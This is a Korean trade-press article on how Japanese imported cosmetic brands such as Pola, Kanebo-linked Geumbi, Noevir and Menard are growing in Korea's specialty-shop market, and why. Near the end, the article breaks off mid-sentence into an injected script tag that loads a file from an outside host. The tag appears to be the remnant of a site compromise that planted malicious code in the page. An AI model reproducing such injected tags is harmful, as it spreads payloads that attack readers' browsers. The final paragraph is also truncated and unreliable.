| 한국에 진출한 일본 수입품의 판매가 안정적 패턴 속에서 꾸준하게 성장하고 있는 것으로 나타났다.
현재 일본 수입품을 판매하고 있는 주요 기업은 한국폴라, 에센디화장품, 금비화장품, 알비온, 영진노에비아, 메나도코리아, H&B 등. 이중 한국폴라와 금비화장품, 영진노에비아 등 국내에 진출한지 10여년이 넘는 기업은 IMF 때의 타격을 회복하며 다시 성장세로 돌아선 것으로 조사됐다.
알비온·에센디·H&B시장 안착
또 지난해 국내에 본격적으로 진출한 알비온, 에센디, H&B도 큰 저항없이 시장에 안착한 것으로 밝혀졌다.
한국폴라(대표이사 타카야마 오사무)는 지난 86년 일본폴라와 50:50으로 합작해 에스티나, 이브뉴 등 고급 브랜드 이미지를 일관되게 유지해 마켓쉐어 확보에 성공했다. 하지만 IMF 때 가격 정책과 브랜드 관리 등의 문제로 경영난을 겪었다.
최근에는 브랜드를 선별 정리하고, 키스이와 아쿠아에스테를 새롭게 수입해 재기를 발판을 마련하고 있는 상태. 한국폴라는 소비자에게 최상의 고급 서비스를 제공해 폴라 제품의 고급 이미지를 극대화시킬 계획이다.
금비화장품(대표이사 이상희)은 가네보와 지난 89년 기술제휴한뒤 92년 백화점 진출, 95년 시판시장에 진출했다. 900개 전문점만 선별 거래하는 금비화장품은 전문점의 판매 효율 증대를 위해 인테리어 등의 하드웨어를 지원하고 매장관리나 교육 등 소프트웨어를 지원할 계획이다.
영진노에비아(대표이사 박수철)는 89년에 국내에 진출해 마사지를 통한 시판으로 꾸준하게 성장하고 있다. 영진노에비아는 대리점과 전문점의 영업 선진화와 매출확대를 추구하면서 상품교육과 제품의 고품질화·고기능화로 브랜드 가치를 강화시킬 계획이다.
특히, 고품질의 신제품을 꾸준하게 도입해 제품 경쟁력을 강화시키고 일본연수와 세계대회 등으로 차별화된 프로모션으로 시장을 육성시킬 계획이다.
메나도코리아(대표이사 김재중)는 지난 94년 국내에 진출해 엠벨리아, 일루네이즈, 리시아르 등의 브랜드로 꾸준한 인기를 얻고 있다.
메나도코리아는 ‘고급화와 차별화’ 정책을 배경으로 에스테틱을 실시해 1:1 개인 상담을 통해 소비자가 자신의 피부를 파악할 수 있는 기회를 제공하고 있다.
관리 제품은 여성의 98% 이상이 겪고 있는 피부 칙칙함을 해결하기 위한 것이며 현재 모니터링 중인 과학적 에스테틱 기계를 도입해 차별화된 관리에 박차를 가할 계획이다.
H&B는 99년에 국내에 진출해 수하다 제품을 시판에 유통시키고 있으며, 최고의 상품을 최상의 서비스에 판매하기 위해 노력하고 있다.
지난해 8월에 설립해 올해 2월부터 본격적으로 진출한 에센디화장품(대표이사 정영준)은 고가 일률의 일본 시장에 중저가 제품으로 틈새 시장을 공략, 소비자들에게 좋은 반응을 얻고 있다.
아스프리르, 마쉐르, 우노 등 3가지 대표 브랜드를 마트를 통해 유통시키고 있으며 고품질 화장품을 합리적 가격에 구입할 수 있다는 점에 초점을 맞춰 마케팅을 펼치고 있다. 에센디화장품을 앞으로 브랜드 인지도를 강화시키는데 주력할 계획이다.
알비온(대표이사 김호준)은 지난해 10월에 설립, 엑사지와 A.C 클리어를 시판에 판매하고 있으며 올 하반기부터는 백화점에도 입점할 계획이다.
알비온은 고급 시장에 적극적으로 대응하기 위해 인적 판매를 강화하고 있다. 또, 150여개 매장에 거점 영업함으로써 거래 매장을 철저하게 관리하고 있다.
단가높아 고마진 추구유리…전문점과 이해 일치
이렇게 일본 수입품들이 안정적 성장세를 구가하고 있는 것은 시장 환경 변화에 따른 전문점주의 요구에 이들 제품이 잘 부응하기 때문으로 분석된다. 대부분의 일본 수입품이 단품이 5∼6만원 선이거나 10만원을 상회해 고가 고마진을 추구하는 점주의 이해와 일치하고 있는 것이다.
시판 시장 소비자가 감소하면서 객단가를 높이려는 점주가 늘고 있는 현실을 적절하게 공략한 것으로 풀이된다.
거점 판매도 성장에 한 몫을 하고 있는 것으로 분석된다. 대부분의 제품들이 100여곳에서 1,000곳 이하의 전문점만 선별 거래함으로써 정가 판매가 가능한 조건을 제공하고 있다.
국내 주요 메이커 제품이 가격 경쟁으로 인해 10% 할인을 기본으로 여기는 현실에서 고가품을 정가에 판매할 수 있다는 점이 점주들의 역매와 연결되고 있는 것이다.
전문점 마사지실의 확산도 성장가 일정량 영향을 미치고 있다. 마사지 서비스의 보급이 확산되면서 마사지를 통한 제품 판매도 자연스럽게 이루어지는 것이다. 일본 수입품의 경우 고가 고기능을 지향하기 때문에 마사지를 통한 판매에 적절하다는 설명이다.
일본 제품군이 확대되는 것도 한 이유로 분석된다. 시판?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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